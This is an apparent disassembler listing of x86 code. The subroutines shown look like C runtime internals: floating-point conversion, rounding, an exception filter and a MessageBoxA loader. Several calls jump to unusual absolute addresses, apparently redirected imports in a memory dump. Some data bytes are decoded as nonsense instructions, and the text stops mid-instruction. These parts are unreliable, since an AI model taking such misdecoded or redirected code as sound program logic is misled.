cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DBEA4 call near ptr 26F0000h nop test eax, eax mov eax, dword_43D094 jnz short loc_4246F0 loc_424753: ; CODE XREF: sub_4246CB+5Cj cmp [ebp+arg_8], eax jb short loc_42475D cmp [esi+1], bl jnz short loc_4246F0 loc_42475D: ; CODE XREF: sub_4246CB+61j ; sub_4246CB+8Bj ... mov dword_4DBDEC, 2Ah or eax, 0FFFFFFFFh jmp short loc_4246F0 ; --------------------------------------------------------------------------- loc_42476C: ; CODE XREF: sub_4246CB+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DBEA4 call near ptr 26F0000h nop test eax, eax jnz loc_42470A jmp short loc_42475D sub_4246CB endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4247A0 proc near ; CODE XREF: sub_420DB0+797p ; sub_420DB0+7E7p cmp cl, 40h jnb short loc_4247BA cmp cl, 20h jnb short loc_4247B0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_4247B0: ; CODE XREF: sub_4247A0+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_4247BA: ; CODE XREF: sub_4247A0+3j xor eax, eax xor edx, edx retn sub_4247A0 endp ; =============== S U B R O U T I N E ======================================= sub_4247BF proc near ; CODE XREF: sub_421826+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_42480B mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_4247DD test al, 80h jz short loc_42480B test al, 2 jnz short loc_42480B loc_4247DD: ; CODE XREF: sub_4247BF+14j cmp dword ptr [esi+8], 0 jnz short loc_4247EA push esi call sub_4241F7 pop ecx loc_4247EA: ; CODE XREF: sub_4247BF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_4247FA cmp dword ptr [esi+4], 0 jnz short loc_42480B inc eax mov [esi], eax loc_4247FA: ; CODE XREF: sub_4247BF+30j test byte ptr [esi+0Ch], 40h jz short loc_424811 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424817 inc eax mov [esi], eax loc_42480B: ; CODE XREF: sub_4247BF+9j ; sub_4247BF+18j ... or eax, 0FFFFFFFFh loc_42480E: ; CODE XREF: sub_4247BF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424811: ; CODE XREF: sub_4247BF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424817: ; CODE XREF: sub_4247BF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_42480E sub_4247BF endp ; =============== S U B R O U T I N E ======================================= sub_42482D proc near ; CODE XREF: sub_421E16+52p xor eax, eax retn sub_42482D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424830 proc near ; CODE XREF: sub_424865+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42487B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42490D pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424830 endp ; =============== S U B R O U T I N E ======================================= sub_424865 proc near ; CODE XREF: sub_422102+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424830 pop ecx pop ecx retn sub_424865 endp ; =============== S U B R O U T I N E ======================================= sub_42487B proc near ; CODE XREF: sub_424830+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42488C push 10h pop eax loc_42488C: ; CODE XREF: sub_42487B+Cj test bl, 4 jz short loc_424893 or al, 8 loc_424893: ; CODE XREF: sub_42487B+14j test bl, 8 jz short loc_42489A or al, 4 loc_42489A: ; CODE XREF: sub_42487B+1Bj test bl, 10h jz short loc_4248A1 or al, 2 loc_4248A1: ; CODE XREF: sub_42487B+22j test bl, 20h jz short loc_4248A8 or al, 1 loc_4248A8: ; CODE XREF: sub_42487B+29j test bl, 2 jz short loc_4248B2 or eax, 80000h loc_4248B2: ; CODE XREF: sub_42487B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4248EA cmp edx, 400h jz short loc_4248E7 cmp edx, 800h jz short loc_4248E3 cmp edx, esi jnz short loc_4248EA or eax, edi jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E3: ; CODE XREF: sub_42487B+5Ej or eax, ebp jmp short loc_4248EA ; --------------------------------------------------------------------------- loc_4248E7: ; CODE XREF: sub_42487B+56j or ah, 1 loc_4248EA: ; CODE XREF: sub_42487B+4Ej ; sub_42487B+62j ... and ecx, edi pop esi jz short loc_4248FA cmp ecx, ebp jnz short loc_4248FF or eax, 10000h jmp short loc_4248FF ; --------------------------------------------------------------------------- loc_4248FA: ; CODE XREF: sub_42487B+72j or eax, 20000h loc_4248FF: ; CODE XREF: sub_42487B+76j ; sub_42487B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42490C or eax, 40000h locret_42490C: ; CODE XREF: sub_42487B+8Aj retn sub_42487B endp ; =============== S U B R O U T I N E ======================================= sub_42490D proc near ; CODE XREF: sub_424830+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42491D push 1 pop eax loc_42491D: ; CODE XREF: sub_42490D+Bj test bl, 8 jz short loc_424924 or al, 4 loc_424924: ; CODE XREF: sub_42490D+13j test bl, 4 jz short loc_42492B or al, 8 loc_42492B: ; CODE XREF: sub_42490D+1Aj test bl, 2 jz short loc_424932 or al, 10h loc_424932: ; CODE XREF: sub_42490D+21j test bl, 1 jz short loc_424939 or al, 20h loc_424939: ; CODE XREF: sub_42490D+28j test ebx, 80000h jz short loc_424943 or al, 2 loc_424943: ; CODE XREF: sub_42490D+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424970 cmp ecx, 100h jz short loc_42496D cmp ecx, esi jz short loc_424968 cmp ecx, edx jnz short loc_424970 or ah, 0Ch jmp short loc_424970 ; --------------------------------------------------------------------------- loc_424968: ; CODE XREF: sub_42490D+50j or ah, 8 jmp short loc_424970 ; --------------------------------------------------------------------------- loc_42496D: ; CODE XREF: sub_42490D+4Cj or ah, 4 loc_424970: ; CODE XREF: sub_42490D+44j ; sub_42490D+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424986 cmp ecx, 10000h jnz short loc_424988 or eax, esi jmp short loc_424988 ; --------------------------------------------------------------------------- loc_424986: ; CODE XREF: sub_42490D+6Bj or eax, edx loc_424988: ; CODE XREF: sub_42490D+73j ; sub_42490D+77j pop esi test ebx, 40000h pop ebx jz short locret_424995 or ah, 10h locret_424995: ; CODE XREF: sub_42490D+83j retn sub_42490D endp ; =============== S U B R O U T I N E ======================================= sub_424996 proc near ; CODE XREF: sub_424A35+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4249DB inc esi cmp esi, 3 jge short loc_4249D6 lea eax, [eax+esi*4] loc_4249C8: ; CODE XREF: sub_424996+3Ej cmp dword ptr [eax], 0 jnz short loc_4249DB inc esi add eax, 4 cmp esi, 3 jl short loc_4249C8 loc_4249D6: ; CODE XREF: sub_424996+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4249DB: ; CODE XREF: sub_424996+27j ; sub_424996+35j xor eax, eax pop esi retn sub_424996 endp ; =============== S U B R O U T I N E ======================================= sub_4249DF proc near ; CODE XREF: sub_424A35+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi js short loc_424A31 lea edi, [ebx+esi*4] loc_424A18: ; CODE XREF: sub_4249DF+50j test eax, eax jz short loc_424A31 push edi push 1 push dword ptr [edi] call sub_425301 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424A18 loc_424A31: ; CODE XREF: sub_4249DF+34j ; sub_4249DF+3Bj pop edi pop esi pop ebx retn sub_4249DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424A35 proc near ; CODE XREF: sub_424B90+81p ; sub_424B90+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424A99 inc ebx push ebx push [ebp+arg_0] call sub_424996 pop ecx test eax, eax pop ecx jnz short loc_424A96 push edi push [ebp+arg_0] call sub_4249DF pop ecx mov [ebp+var_4], eax pop ecx loc_424A96: ; CODE XREF: sub_424A35+51j mov eax, [ebp+arg_4] loc_424A99: ; CODE XREF: sub_424A35+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_424AB9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_424AB9: ; CODE XREF: sub_424A35+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424A35 endp ; =============== S U B R O U T I N E ======================================= sub_424AC1 proc near ; CODE XREF: sub_424B90+75p ; sub_424B90+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_424ACF: ; CODE XREF: sub_424AC1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_424ACF pop esi retn sub_424AC1 endp ; =============== S U B R O U T I N E ======================================= sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp ; sub_424B90+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_424ADC endp ; =============== S U B R O U T I N E ======================================= sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_424AEE: ; CODE XREF: sub_424AE8+12j cmp dword ptr [eax], 0 jnz short loc_424B00 inc ecx add eax, 4 cmp ecx, 3 jl short loc_424AEE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_424B00: ; CODE XREF: sub_424AE8+9j xor eax, eax retn sub_424AE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B03 proc near ; CODE XREF: sub_424B90+C0p ; sub_424B90+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424B39: ; CODE XREF: sub_424B03+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424B39 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_424B6B: ; CODE XREF: sub_424B03+86j cmp ebx, edi jl short loc_424B7E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424B85 ; --------------------------------------------------------------------------- loc_424B7E: ; CODE XREF: sub_424B03+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424B85: ; CODE XREF: sub_424B03+79j dec ebx sub ecx, 4 jns short loc_424B6B pop edi pop esi pop ebx leave retn sub_424B03 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp ; sub_424D12+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_424BFD lea eax, [ebp+var_C] xor esi, esi push eax call sub_424AE8 test eax, eax pop ecx jnz loc_424CBC lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx loc_424BF5: ; CODE XREF: sub_424B90+E4j push 2 loc_424BF7: ; CODE XREF: sub_424B90+110j pop eax jmp loc_424CBE ; --------------------------------------------------------------------------- loc_424BFD: ; CODE XREF: sub_424B90+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_424AC1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 add esp, 10h test eax, eax jz short loc_424C1E inc ebx loc_424C1E: ; CODE XREF: sub_424B90+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424C36 lea eax, [ebp+var_C] push eax call sub_424ADC pop ecx jmp short loc_424C72 ; --------------------------------------------------------------------------- loc_424C36: ; CODE XREF: sub_424B90+98j cmp ebx, eax jg short loc_424C79 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_424AC1 lea eax, [ebp+var_C] push esi push eax call sub_424B03 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424A35 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_424B03 add esp, 20h loc_424C72: ; CODE XREF: sub_424B90+A4j xor esi, esi jmp loc_424BF5 ; --------------------------------------------------------------------------- loc_424C79: ; CODE XREF: sub_424B90+A8j cmp ebx, [edi] jl short loc_424CA5 lea eax, [ebp+var_C] push eax call sub_424ADC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_424B03 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_424BF7 ; --------------------------------------------------------------------------- loc_424CA5: ; CODE XREF: sub_424B90+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_424B03 pop ecx pop ecx loc_424CBC: ; CODE XREF: sub_424B90+55j xor eax, eax loc_424CBE: ; CODE XREF: sub_424B90+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_424CED mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_424CF7 ; --------------------------------------------------------------------------- loc_424CED: ; CODE XREF: sub_424B90+14Ej cmp edi, 20h jnz short loc_424CF7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_424CF7: ; CODE XREF: sub_424B90+15Bj ; sub_424B90+160j pop edi pop esi pop ebx leave retn sub_424B90 endp ; =============== S U B R O U T I N E ======================================= sub_424CFC proc near ; CODE XREF: sub_424D28+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D808 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424CFC endp ; =============== S U B R O U T I N E ======================================= sub_424D12 proc near ; CODE XREF: sub_424D55+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43D820 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424B90 add esp, 0Ch retn sub_424D12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D28 proc near ; CODE XREF: sub_42223B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424CFC add esp, 24h leave retn sub_424D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4254A2 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424D12 add esp, 24h leave retn sub_424D55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424D82 proc near ; CODE XREF: sub_422279+65p ; sub_42237D+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_424DBF mov [ebp+arg_0], ebx xor ebx, ebx loc_424DA5: ; CODE XREF: sub_424D82+38j mov dl, [ecx] test dl, dl jz short loc_424DB1 movsx edx, dl inc ecx jmp short loc_424DB4 ; --------------------------------------------------------------------------- loc_424DB1: ; CODE XREF: sub_424D82+27j push 30h pop edx loc_424DB4: ; CODE XREF: sub_424D82+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424DA5 mov edx, [ebp+arg_8] loc_424DBF: ; CODE XREF: sub_424D82+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_424DD8 cmp byte ptr [ecx], 35h jl short loc_424DD8 loc_424DCB: ; CODE XREF: sub_424D82+52j dec eax cmp byte ptr [eax], 39h jnz short loc_424DD6 mov byte ptr [eax], 30h jmp short loc_424DCB ; --------------------------------------------------------------------------- loc_424DD6: ; CODE XREF: sub_424D82+4Dj inc byte ptr [eax] loc_424DD8: ; CODE XREF: sub_424D82+42j ; sub_424D82+47j cmp byte ptr [esi], 31h jnz short loc_424DE2 inc dword ptr [edx+4] jmp short loc_424DF4 ; --------------------------------------------------------------------------- loc_424DE2: ; CODE XREF: sub_424D82+59j push edi call sub_41B9C0 inc eax push eax push edi push esi call sub_41D670 add esp, 10h loc_424DF4: ; CODE XREF: sub_424D82+5Ej pop edi pop esi pop ebx pop ebp retn sub_424D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp ; sub_42237D+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_424E5D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DBFC8 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_425973 mov dword_4DBFF0, eax add esp, 18h movsx eax, byte_4DBFCA mov dword_4DBFE8, eax pop edi movsx eax, word_4DBFC8 mov dword_4DBFEC, eax mov dword_4DBFF4, offset dword_4DBFCC mov eax, offset dword_4DBFE8 pop esi leave retn sub_424DF9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E5D proc near ; CODE XREF: sub_424DF9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_424EAB cmp ebx, edi jz short loc_424EA4 lea edi, [ecx+3C00h] jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EA4: ; CODE XREF: sub_424E5D+3Dj mov edi, 7FFFh jmp short loc_424ECC ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E5D+39j xor ebx, ebx cmp eax, ebx jnz short loc_424EC3 cmp edx, ebx jnz short loc_424EC3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_424F0E ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E5D+52j ; sub_424E5D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_424ECC: ; CODE XREF: sub_424E5D+45j ; sub_424E5D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_424EE4: ; CODE XREF: sub_424E5D+A6j test ecx, esi jnz short loc_424F05 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_424EE4 ; --------------------------------------------------------------------------- loc_424F05: ; CODE XREF: sub_424E5D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_424F0E: ; CODE XREF: sub_424E5D+64j pop edi pop esi pop ebx leave retn sub_424E5D endp ; --------------------------------------------------------------------------- push 2 call sub_41E2C9 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_424F1C proc near ; DATA XREF: ___:0043D448o ; ___:0043DB88o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_424F3F cmp dword ptr [eax+10h], 3 jnz short loc_424F3F cmp dword ptr [eax+14h], 19930520h jnz short loc_424F3F jmp sub_422DFC ; --------------------------------------------------------------------------- loc_424F3F: ; CODE XREF: sub_424F1C+Dj ; sub_424F1C+13j ... mov eax, dword_4DBFF8 test eax, eax jz short loc_424F5C push eax call sub_424FB8 test eax, eax pop ecx jz short loc_424F5C push esi call dword_4DBFF8 jmp short loc_424F5E ; --------------------------------------------------------------------------- loc_424F5C: ; CODE XREF: sub_424F1C+2Aj ; sub_424F1C+35j xor eax, eax loc_424F5E: ; CODE XREF: sub_424F1C+3Ej pop esi retn 4 sub_424F1C endp ; --------------------------------------------------------------------------- word_424F62 dw 1C68h ; DATA XREF: ___:00429024o ; --------------------------------------------------------------------------- dec edi inc edx add [eax+1CBF58E8h], dl add ah, byte ptr dword_4DBFF8[ebx] retn ; --------------------------------------------------------------------------- byte_424F73 db 0FFh ; DATA XREF: ___:0042903Co dd 4DBFF835h, 0BF47E800h, 0C390021Ch ; =============== S U B R O U T I N E ======================================= sub_424F80 proc near ; CODE XREF: sub_422651+6Bp ; sub_422B62+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25F0A95h test eax, eax jz short loc_424F98 xor esi, esi loc_424F98: ; CODE XREF: sub_424F80+14j mov eax, esi pop esi retn sub_424F80 endp ; =============== S U B R O U T I N E ======================================= sub_424F9C proc near ; CODE XREF: sub_422B62+73p ; sub_422B62+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 2660000h nop test eax, eax jz short loc_424FB4 xor esi, esi loc_424FB4: ; CODE XREF: sub_424F9C+14j mov eax, esi pop esi retn sub_424F9C endp ; =============== S U B R O U T I N E ======================================= sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp ; sub_424F1C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25F0A3Fh test eax, eax jz short loc_424FCC xor esi, esi loc_424FCC: ; CODE XREF: sub_424FB8+10j mov eax, esi pop esi retn sub_424FB8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_422DFC loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj push 0Ah call sub_423DD1 push 16h call sub_425C06 pop ecx pop ecx push 3 call sub_41C1A2 ; END OF FUNCTION CHUNK FOR sub_422DFC ; =============== S U B R O U T I N E ======================================= sub_424FE7 proc near ; CODE XREF: ___:004236A6p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424FF8 add esp, 0Ch retn sub_424FE7 endp ; =============== S U B R O U T I N E ======================================= sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DD281[eax], cl jnz short loc_425025 cmp [esp+arg_4], 0 jz short loc_42501E movzx eax, word_43CE92[eax*2] and eax, [esp+arg_4] jmp short loc_425020 ; --------------------------------------------------------------------------- loc_42501E: ; CODE XREF: sub_424FF8+16j xor eax, eax loc_425020: ; CODE XREF: sub_424FF8+24j test eax, eax jnz short loc_425025 retn ; --------------------------------------------------------------------------- loc_425025: ; CODE XREF: sub_424FF8+Fj ; sub_424FF8+2Aj push 1 pop eax retn sub_424FF8 endp ; =============== S U B R O U T I N E ======================================= sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DBFFC, ebx push esi push edi jnz short loc_425078 push offset aUser32_dll ; "user32.dll" call near ptr 26A0BB9h nop mov edi, eax cmp edi, ebx jz short loc_4250AE mov esi, dword_4270C4 push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DBFFC, eax jz short loc_4250AE push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DC000, eax call esi mov dword_4DC004, eax loc_425078: ; CODE XREF: sub_425029+Bj mov eax, dword_4DC000 test eax, eax jz short loc_425097 call eax mov ebx, eax test ebx, ebx jz short loc_425097 mov eax, dword_4DC004 test eax, eax jz short loc_425097 push ebx call eax mov ebx, eax loc_425097: ; CODE XREF: sub_425029+56j ; sub_425029+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DBFFC loc_4250AA: ; CODE XREF: sub_425029+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4250AE: ; CODE XREF: sub_425029+1Cj ; sub_425029+33j xor eax, eax jmp short loc_4250AA sub_425029 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4250B2 proc near ; CODE XREF: sub_42413E+22p ; sub_42413E+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_4250D3 test esi, esi jnz short loc_4250CD push 1 pop esi loc_4250CD: ; CODE XREF: sub_4250B2+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_4250D3: ; CODE XREF: sub_4250B2+12j ; sub_4250B2+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_425132 mov eax, dword_4DD3A8 cmp eax, 3 jnz short loc_4250FE mov eax, [ebp+arg_0] cmp eax, dword_4DD3A0 ja short loc_42511D push eax call sub_41EA6B mov edi, eax pop ecx test edi, edi jnz short loc_425148 jmp short loc_42511D ; --------------------------------------------------------------------------- loc_4250FE: ; CODE XREF: sub_4250B2+30j cmp eax, 2 jnz short loc_42511D cmp esi, dword_43CE84 ja short 